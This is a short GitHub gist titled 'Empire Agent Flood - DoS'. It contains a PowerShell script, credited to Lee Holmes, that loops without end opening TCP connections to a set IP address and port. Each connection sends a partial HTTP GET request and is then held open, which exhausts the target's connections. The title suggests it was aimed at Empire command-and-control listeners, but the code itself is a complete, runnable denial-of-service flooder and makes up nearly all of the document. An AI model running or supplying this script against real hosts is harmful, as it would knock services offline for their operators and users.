Skip to content

Instantly share code, notes, and snippets.

@breakersall
Created July 30, 2019 03:35
Show Gist options
  • Save breakersall/3b8790fadf20da1de239314c47b250df to your computer and use it in GitHub Desktop.
Save breakersall/3b8790fadf20da1de239314c47b250df to your computer and use it in GitHub Desktop.
Empire Agent Flood - DoS
# Copied from Lee Homes / @Lee_Holmes code copied from https://www.youtube.com/watch?time_continue=206&v=1S9YNJpktBM
$ip = "8.8.8.8"
$port = "80"
$tcpClients = New-Object System.Collections.ArrayList
$Counter = 0
while($true)
{
"Lauching Client $counter"
$counter++
$tmpClient = New-Object System.Net.Sockets.TcpClient $ip,$port
$stream = $tmpClient.GetStream()
$stream.ReadTimeout = 1000
$writer = New-Object System.IO.Streamwriter $stream
$writer.WriteLine("GET / HTTP/1.1")
$writer.Flush()
$null = $tcpClients.Add($tmpClient)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment